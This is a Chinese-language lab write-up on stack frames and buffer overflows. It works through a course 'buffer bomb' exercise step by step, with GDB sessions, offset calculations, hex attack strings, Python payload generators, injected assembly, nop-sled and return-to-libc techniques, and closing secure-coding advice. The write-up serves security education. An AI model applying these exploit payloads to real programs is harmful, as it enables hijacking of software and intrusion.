计算机系统安全实验:栈帧结构与缓冲区溢出漏洞利用
1. 栈帧结构与缓冲区溢出基础
第一次接触缓冲区溢出漏洞时,我盯着GDB调试界面看了整整三小时。那感觉就像在拆解一个精密的瑞士手表——每个齿轮(寄存器)的转动都必须分毫不差。让我们从最基础的栈帧结构说起。
栈帧是函数调用的活动记录,包含三个关键部分:
- 局部变量区:存放函数内部的临时变量
- 保存的寄存器值:如ebp、ebx等
- 返回地址:函数执行完后该回到哪里
在32位Linux系统中,典型的栈帧布局是这样的:
+-----------------+ | 参数n | ← 调用者的栈帧 | ... | | 参数1 | +-----------------+ | 返回地址 | ← 当前栈帧开始 +-----------------+ | 保存的ebp | +-----------------+ | 局部变量 | | ... | +-----------------+缓冲区溢出就像往杯子里倒啤酒——当输入的泡沫(数据)超过杯子(缓冲区)容量时,就会溢出到桌面(其他内存区域)。通过精心构造输入数据,我们可以让溢出的部分覆盖返回地址,从而控制程序执行流。
2. GDB实战分析栈帧
让我们用GDB调试一个简单程序,观察栈帧的实际结构。假设有这样一个存在漏洞的函数:
void vulnerable() { char buffer[8]; gets(buffer); // 危险函数! }编译时记得关闭保护机制:
gcc -fno-stack-protector -z execstack -g vuln.c -o vuln在GDB中逐步执行:
(gdb) break vulnerable (gdb) run (gdb) info frame Stack level 0, frame at 0xffffd120: eip = 0x80491d6 in vulnerable; saved eip = 0x8049321 called by frame at 0xffffd150 Arglist at 0xffffd118, args: Locals at 0xffffd118, Previous frame's sp is 0xffffd120 Saved registers: ebp at 0xffffd118, eip at 0xffffd11c这里可以看到:
- 返回地址保存在0xffffd11c
- buffer起始地址在ebp-0x8(32位系统)
- 输入12个字符就能触及返回地址(8字节buffer + 4字节ebp)
3. 构造基础攻击载荷
以实验中的Level0为例,我们需要让程序跳转到smoke函数。关键步骤:
- 确定偏移量:通过反汇编找到buffer到返回地址的距离
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax # buffer起始地址这里buffer大小是0x28(40)字节,加上4字节旧ebp,总共需要44字节填充。
- 获取目标地址:
08048bd2 <smoke>: 8048bd2: 55 push %ebp- 构造攻击字符串:
00 00 00 00 00 00 00 00 ← 40字节填充 00 00 00 00 ← 覆盖ebp d2 8b 04 08 ← smoke函数地址(小端序)实测中可以用Python生成:
print(b"A"*44 + b"\xd2\x8b\x04\x08")4. 进阶攻击技术
4.1 带参数攻击(Level1)
当需要调用如fizz(cookie)时,攻击字符串需要:
- 覆盖返回地址为fizz函数入口
- 在返回地址后放置cookie参数
栈帧布局变为:
[buffer填充][旧ebp][fizz地址][返回地址占位][cookie值]关键技巧:
- 参数位于ebp+8的位置
- 使用占位符填充返回地址位置
4.2 代码注入(Level2)
当需要修改全局变量时,我们需要注入自定义汇编代码:
movl $0x5216b8f0, 0x804d100 # 将cookie写入全局变量 push $0x8048c49 # bang函数地址 ret将其编译后获取机器码:
gcc -m32 -c bang.s objdump -d bang.o攻击字符串结构:
[机器代码][填充][buffer地址]其中buffer地址需要通过GDB调试获取:
(gdb) break getbuf (gdb) run (gdb) print /x $eax $1 = 0x556832285. 绕过防护机制
现代系统有多种防护措施,实验中我们主要面对两种:
5.1 栈不可执行(NX)
解决方案:复用已有代码(Return-to-libc)
- 找到system()函数地址
- 布置"/bin/sh"字符串
- 构造调用链
5.2 地址随机化(ASLR)
应对方法:
- 使用nop雪橇技术
print(b"\x90"*100 + shellcode + return_address)- 暴力破解(需要信息泄露)
6. 实验中的踩坑记录
在完成Level4时,我遇到了地址随机化的挑战。getbufn每次运行时栈地址都不同,解决方案是:
- 使用nop指令填充大部分空间
nop # 机器码0x90- 将返回地址指向缓冲区高端地址
- 在高端地址放置有效载荷
通过GDB获取5次运行的地址范围:
0x55683048 0x55682ff8 0x55682fe8 0x55682fe8 0x55683038选择最大地址0x55683048作为返回地址,确保总能滑入有效载荷区。
7. 安全编程建议
经历过这些实验后,我养成了这些编码习惯:
- 永远使用strncpy代替strcpy
- 对用户输入进行长度检查
- 使用安全函数如snprintf
- 开启编译器的栈保护选项
缓冲区溢出就像编程界的"不要用牙签掏耳朵"——看似小事,后果严重。理解攻击原理,才能写出更健壮的代码。